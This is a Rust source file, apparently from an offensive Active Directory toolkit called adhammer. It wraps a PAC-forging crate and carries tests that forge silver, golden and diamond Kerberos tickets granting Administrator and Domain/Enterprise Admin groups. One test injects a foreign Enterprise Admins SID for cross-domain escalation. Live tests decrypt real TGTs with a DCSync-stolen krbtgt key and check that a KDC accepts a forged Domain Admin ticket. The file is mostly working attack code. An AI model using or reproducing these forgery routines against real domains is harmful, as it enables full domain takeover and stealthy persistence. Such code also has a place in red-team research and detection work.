1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
//! PAC (MS-PAC) marshaling adapter — the bulk of this module lives in the
//! standalone `ms-pac-forge` crate; here we just re-export it and layer the
//! adhammer-specific [`decrypt_ticket_pac`] on top of picky-krb's [`Tgt`].
//!
//! Everything in [`ms_pac_forge::pac`] (`ForgeIdentity`, `assemble_pac`,
//! `parse_pac`, `PAC_*` constants, `PacBuf`, `ParsedPac`, `extract_pac`,
//! `decrypt_ticket_pac_aes256`, `decrypt_ticket_pac_rc4`, `build_*`) is
//! re-exported as `crate::pac::*` so no downstream import has to change.
pub use ms_pac_forge::pac::{
assemble_pac, buf_name, build_attributes, build_client_info, build_kerb_validation_info,
build_requestor, decrypt_ticket_pac_aes256, decrypt_ticket_pac_rc4, extract_pac, parse_pac,
ForgeIdentity, PacBuf, ParsedPac, PAC_ATTRIBUTES_INFO, PAC_CLIENT_INFO_TYPE, PAC_KDC_CHECKSUM,
PAC_LOGON_INFO, PAC_REQUESTOR, PAC_SERVER_CHECKSUM, PAC_TICKET_CHECKSUM,
};
use crate::Tgt;
use anyhow::Result;
use picky_krb::data_types::EncTicketPart;
/// Decrypt a real TGT's EncTicketPart with the krbtgt AES256 key and return
/// (the parsed enc-ticket-part, the raw PAC bytes). Doubles as a live proof that
/// the DCSync-extracted krbtgt key is correct: AES decryption is
/// integrity-protected, so a wrong key fails here rather than yielding garbage.
///
/// Thin adapter over [`ms_pac_forge::pac::decrypt_ticket_pac_aes256`] that pulls
/// the ciphertext out of the local `Tgt` wrapper (which owns the picky-krb
/// `Ticket` and never crossed the ms-pac-forge boundary).
pub fn decrypt_ticket_pac(tgt: &Tgt, krbtgt_aes256: &[u8]) -> Result<(EncTicketPart, Vec<u8>)> {
decrypt_ticket_pac_aes256(tgt.ticket_cipher(), krbtgt_aes256)
}
#[cfg(test)]
mod wired {
//! Proves the re-export wires the ms-pac-forge assemble/parse/decrypt path
//! into the local silver + rc4 golden forges. The exhaustive PAC shape
//! tests live in ms-pac-forge itself.
use super::*;
fn sample() -> ForgeIdentity {
ForgeIdentity {
user: "Administrator".into(),
rid: 500,
primary_gid: 513,
group_rids: vec![513, 512, 520, 518, 519],
domain_subauths: vec![21, 1111111111, 2222222222, 3333333333],
logon_server: "DC01".into(),
logon_domain: "CORP".into(),
extra_sids: vec![],
}
}
/// End-to-end wire proof: forge a silver ticket via the local `forge_silver_tgt`
/// (which orchestrates on top of `ms_pac_forge::pac::assemble_pac` via the
/// re-export), then decrypt it via the re-exported `decrypt_ticket_pac`
/// adapter and parse the PAC via the re-exported `parse_pac`.
#[test]
fn silver_ticket_roundtrips_via_ms_pac_forge() {
let key = [0x37u8; 32];
let tgt =
crate::forge_silver_tgt(&sample(), "CORP.LOCAL", &key, "cifs/dc01.corp.local", false)
.unwrap();
let (_etp, pac) = decrypt_ticket_pac(&tgt, &key).expect("decrypt silver");
let parsed = parse_pac(&pac).unwrap();
let li = &parsed.get(PAC_LOGON_INFO).unwrap().data;
assert_eq!(u32::from_le_bytes(li[120..124].try_into().unwrap()), 500);
assert!(parsed.get(PAC_SERVER_CHECKSUM).is_some());
assert!(parsed.get(PAC_KDC_CHECKSUM).is_some());
assert!(parsed.get(PAC_ATTRIBUTES_INFO).is_some());
assert!(parsed.get(PAC_REQUESTOR).is_some());
}
/// RC4 golden wire proof: forge under an NT-hash krbtgt key using the
/// re-exported RC4 signature path (KERB_CHECKSUM_HMAC_MD5 = -138), then
/// decrypt the ticket via the re-exported `decrypt_ticket_pac_rc4` and
/// confirm the SERVER_CHECKSUM is an HMAC-MD5.
#[test]
fn rc4_golden_roundtrips_via_ms_pac_forge() {
let nt = crate::rc4::nt_hash("Krbtgt-NT-Hash!");
let tgt = crate::forge_golden_tgt(&sample(), "CORP.LOCAL", &nt, true).unwrap();
let (_etp, pac) = decrypt_ticket_pac_rc4(tgt.ticket_cipher(), &nt).expect("rc4 decrypt");
let parsed = parse_pac(&pac).unwrap();
let srv = parsed.get(PAC_SERVER_CHECKSUM).unwrap();
// SignatureType -138 (HMAC-MD5), 16-byte signature.
assert_eq!(
i32::from_le_bytes(srv.data[0..4].try_into().unwrap()),
crate::rc4::SIG_HMAC_MD5
);
assert_eq!(srv.data.len(), 4 + 16);
}
/// **1.4.8-A WS-DIAMOND-TICKET roundtrip:** forge a Golden ticket first (which
/// stands in for the legitimate KDC-issued TGT the diamond needs as a template),
/// then hand it to `forge_diamond_tgt` with a DIFFERENT injected identity, and
/// confirm the diamond ticket:
/// - decrypts under the same krbtgt key, and
/// - carries the *injected* identity's PAC (rid, groups) rather than the
/// template's, and
/// - inherits the template's timestamps (auth_time / endtime / renew_till)
/// exactly, byte-for-byte.
///
/// The last property is what makes the ticket "diamond" — its clock domain
/// matches the KDC's real clock, not `far_future_time()`.
#[test]
fn diamond_ticket_inherits_timestamps_and_overrides_pac() {
let key = [0x42u8; 32];
// Template = a Golden with template identity (RID 1105, no admin groups).
let template_id = ForgeIdentity {
user: "labuser".into(),
rid: 1105,
primary_gid: 513,
group_rids: vec![513],
domain_subauths: vec![21, 1, 2, 3],
logon_server: "DC01".into(),
logon_domain: "CORP".into(),
extra_sids: vec![],
};
let template = crate::forge_golden_tgt(&template_id, "CORP.LOCAL", &key, false)
.expect("forge template TGT");
// Read template's timestamps for the equality assertion below.
let (etp_template, _) =
decrypt_ticket_pac(&template, &key).expect("decrypt template with krbtgt key");
let template_auth_time = etp_template.auth_time.0.clone();
let template_endtime = etp_template.endtime.0.clone();
// Diamond overrides = elevated identity (Administrator RID 500 + admin groups).
let injected = ForgeIdentity {
user: "Administrator".into(),
rid: 500,
primary_gid: 513,
group_rids: vec![513, 512, 520, 518, 519],
domain_subauths: vec![21, 1, 2, 3],
logon_server: "DC01".into(),
logon_domain: "CORP".into(),
extra_sids: vec![],
};
let diamond =
crate::forge_diamond_tgt(&template, &injected, &key, false).expect("forge diamond");
// Diamond decrypts under same krbtgt key.
let (etp_diamond, pac_diamond) =
decrypt_ticket_pac(&diamond, &key).expect("decrypt diamond with krbtgt key");
// Timestamps inherited from template — this is the diamond property.
assert_eq!(
etp_diamond.auth_time.0, template_auth_time,
"diamond auth_time must equal template auth_time (inherited)"
);
assert_eq!(
etp_diamond.endtime.0, template_endtime,
"diamond endtime must equal template endtime (inherited — no 10-year IOC)"
);
// Injected PAC identity replaces the template's.
let parsed = parse_pac(&pac_diamond).unwrap();
let li = &parsed.get(PAC_LOGON_INFO).unwrap().data;
// RID at offset 120 in KERB_VALIDATION_INFO (LE u32).
let rid_in_pac = u32::from_le_bytes(li[120..124].try_into().unwrap());
assert_eq!(
rid_in_pac, 500,
"diamond PAC RID must be the injected 500, not template 1105"
);
assert!(parsed.get(PAC_SERVER_CHECKSUM).is_some());
assert!(parsed.get(PAC_KDC_CHECKSUM).is_some());
assert!(parsed.get(PAC_REQUESTOR).is_some());
}
/// **1.4.8-A WS-SID-HISTORY-INJECT roundtrip:** verify that `ForgeIdentity::extra_sids`
/// (populated via `attack golden --foreign-sid` or `attack diamond --foreign-sid`) actually
/// lands in the PAC's KERB_VALIDATION_INFO ExtraSids field on the wire. The attack
/// scenario: from a compromised child domain, inject the ROOT-domain Enterprise Admins
/// SID as an ExtraSid; a trusting root without SID filtering (or with SIDHistory
/// filtering misconfigured) will authorize the forged principal as Enterprise Admin.
///
/// The test proves the primitive (PAC bytes contain the injected SID's
/// subauthorities in the on-wire NDR layout) without needing a cross-forest lab.
#[test]
fn foreign_sid_lands_in_pac_extra_sids() {
let key = [0x55u8; 32];
// Baseline: Golden without ExtraSids.
let mut id = ForgeIdentity {
user: "impersonated".into(),
rid: 500,
primary_gid: 513,
group_rids: vec![513, 512],
domain_subauths: vec![21, 10_000_001, 20_000_002, 30_000_003],
logon_server: "DC01".into(),
logon_domain: "CHILD".into(),
extra_sids: vec![],
};
let baseline = crate::forge_golden_tgt(&id, "CHILD.CORP.LOCAL", &key, false).unwrap();
let (_, baseline_pac) = decrypt_ticket_pac(&baseline, &key).unwrap();
// Inject: cross-forest ROOT-domain Enterprise Admins SID (S-1-5-21-A-B-C-519).
// Distinct 32-bit magic subauthorities so the byte pattern is unmistakable in the
// hex dump of the PAC (no chance of matching the domain_subauths above by accident).
let foreign_ea: Vec<u32> = vec![21, 0xDEAD_BEEF, 0xCAFE_BABE, 0x1234_5678, 519];
id.extra_sids = vec![foreign_ea.clone()];
let injected = crate::forge_golden_tgt(&id, "CHILD.CORP.LOCAL", &key, false).unwrap();
let (_, injected_pac) = decrypt_ticket_pac(&injected, &key).unwrap();
assert!(
injected_pac.len() > baseline_pac.len(),
"PAC with injected ExtraSid must be LARGER than baseline (injected={} vs baseline={})",
injected_pac.len(),
baseline_pac.len()
);
// The four u32 magic subauthorities must appear in the PAC's raw NDR bytes as
// little-endian u32. This is the exact on-wire encoding ms-pac-forge::ndr_sid()
// produces for the ExtraSids referents.
for magic in [0xDEAD_BEEFu32, 0xCAFE_BABE, 0x1234_5678] {
let needle = magic.to_le_bytes();
assert!(
injected_pac.windows(4).any(|w| w == needle),
"u32 subauthority {magic:#010x} must appear in injected PAC as LE bytes"
);
assert!(
!baseline_pac.windows(4).any(|w| w == needle),
"baseline PAC (no ExtraSids) must NOT contain {magic:#010x} — it should only \
appear when extra_sids is populated"
);
}
// RID 519 (Enterprise Admins) — this is the actual authority-transferring bit.
// Also assert it landed as LE u32 in the injected PAC (may appear elsewhere too
// in baseline via group RIDs, so no negative assertion).
let ea_rid = 519u32.to_le_bytes();
assert!(
injected_pac.windows(4).any(|w| w == ea_rid),
"RID 519 (Enterprise Admins) must appear in injected PAC's ExtraSid tail"
);
// Both PACs still verify their KDC signature (proves the ticket is well-formed).
let parsed = parse_pac(&injected_pac).unwrap();
assert!(parsed.get(PAC_KDC_CHECKSUM).is_some());
assert!(parsed.get(PAC_SERVER_CHECKSUM).is_some());
}
/// Sanity that the re-exported constants keep their MS-PAC-mandated values.
#[test]
fn pac_type_constants_match_ms_pac() {
assert_eq!(PAC_LOGON_INFO, 1);
assert_eq!(PAC_SERVER_CHECKSUM, 6);
assert_eq!(PAC_KDC_CHECKSUM, 7);
assert_eq!(PAC_CLIENT_INFO_TYPE, 10);
assert_eq!(PAC_TICKET_CHECKSUM, 16);
assert_eq!(PAC_ATTRIBUTES_INFO, 17);
assert_eq!(PAC_REQUESTOR, 18);
}
}
#[cfg(test)]
mod live {
use super::*;
/// Live oracle: get recon's real TGT, decrypt its EncTicketPart with the DCSync-extracted
/// krbtgt AES256 key, and dump the PAC buffer layout. Proves the krbtgt key AND captures the
/// authoritative Server 2025 PAC shape for the forger.
/// Env: ADH_KDC, ADH_REALM, ADH_KRBTGT_AES256 (64 hex), ADH_USER/ADH_PASS.
#[tokio::test]
#[ignore = "live DC"]
async fn decrypt_real_pac() {
let Ok(kdc) = std::env::var("ADH_KDC") else {
return;
};
let realm = std::env::var("ADH_REALM").unwrap_or_else(|_| "CORP.LOCAL".into());
let user = std::env::var("ADH_USER").unwrap_or_else(|_| "lowpriv".into());
let pass = std::env::var("ADH_PASS").unwrap_or_default();
let key = hex::decode(std::env::var("ADH_KRBTGT_AES256").expect("ADH_KRBTGT_AES256"))
.expect("hex");
let tgt = crate::get_tgt(&user, &pass, &realm, &kdc)
.await
.expect("get_tgt");
let (etp, pac) = decrypt_ticket_pac(&tgt, &key).expect("decrypt PAC");
let parsed = parse_pac(&pac).expect("parse PAC");
eprintln!(
"[pac] {} bytes, flags={:02x?}, {} buffers:",
pac.len(),
etp.flags.0.as_bytes(),
parsed.buffers.len()
);
for b in &parsed.buffers {
eprintln!(
" type={:2} {:32} {} bytes {}",
b.ul_type,
buf_name(b.ul_type),
b.data.len(),
hex::encode(&b.data[..b.data.len().min(48)])
);
}
if std::env::var("ADH_DUMP_LOGON").is_ok() {
let li = parsed.get(PAC_LOGON_INFO).unwrap();
eprintln!("[logon_info_full] {}", hex::encode(&li.data));
}
assert!(parsed.get(PAC_LOGON_INFO).is_some());
assert!(parsed.get(PAC_SERVER_CHECKSUM).is_some());
assert!(parsed.get(PAC_KDC_CHECKSUM).is_some());
}
/// Forge a Domain-Admin golden ticket with the DCSync-extracted krbtgt AES256 key and PROVE
/// the KDC accepts it: submit the forged TGT in a TGS-REQ (PA-TGS-REQ), which forces the KDC
/// to decrypt the ticket and validate the PAC's KDC signature under full KB5020805 enforcement.
/// A TGS-REP back = the golden ticket (marshaling + both signatures + requestor) is valid.
/// Env: ADH_KDC, ADH_REALM, ADH_KRBTGT_AES256, ADH_DOMAIN_SID (S-1-5-21-a-b-c), ADH_SPN.
#[tokio::test]
#[ignore = "live DC"]
async fn golden_ticket_accepted() {
let Ok(kdc) = std::env::var("ADH_KDC") else {
return;
};
let realm = std::env::var("ADH_REALM").unwrap_or_else(|_| "CORP.LOCAL".into());
let key = hex::decode(std::env::var("ADH_KRBTGT_AES256").expect("ADH_KRBTGT_AES256"))
.expect("hex");
let dsid = std::env::var("ADH_DOMAIN_SID").expect("ADH_DOMAIN_SID");
let subs: Vec<u32> = dsid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse().unwrap())
.collect();
let spn = std::env::var("ADH_SPN")
.unwrap_or_else(|_| format!("cifs/dc01.{}", realm.to_lowercase()));
let id = ForgeIdentity {
user: "Administrator".into(),
rid: 500,
primary_gid: 513,
group_rids: vec![513, 512, 520, 518, 519],
domain_subauths: subs,
logon_server: "DC01".into(),
logon_domain: realm.split('.').next().unwrap_or("CORP").to_uppercase(),
extra_sids: vec![],
};
let tgt = crate::forge_golden_tgt(&id, &realm, &key, false).expect("forge golden");
let hash = crate::roast_spn(&tgt, "Administrator", &spn, &kdc)
.await
.expect("KDC must accept the golden ticket (TGS-REP for the SPN)");
eprintln!("[golden] KDC accepted forged DA TGT → service ticket for {spn}");
assert!(hash.contains("$krb5tgs$") || !hash.is_empty());
}
}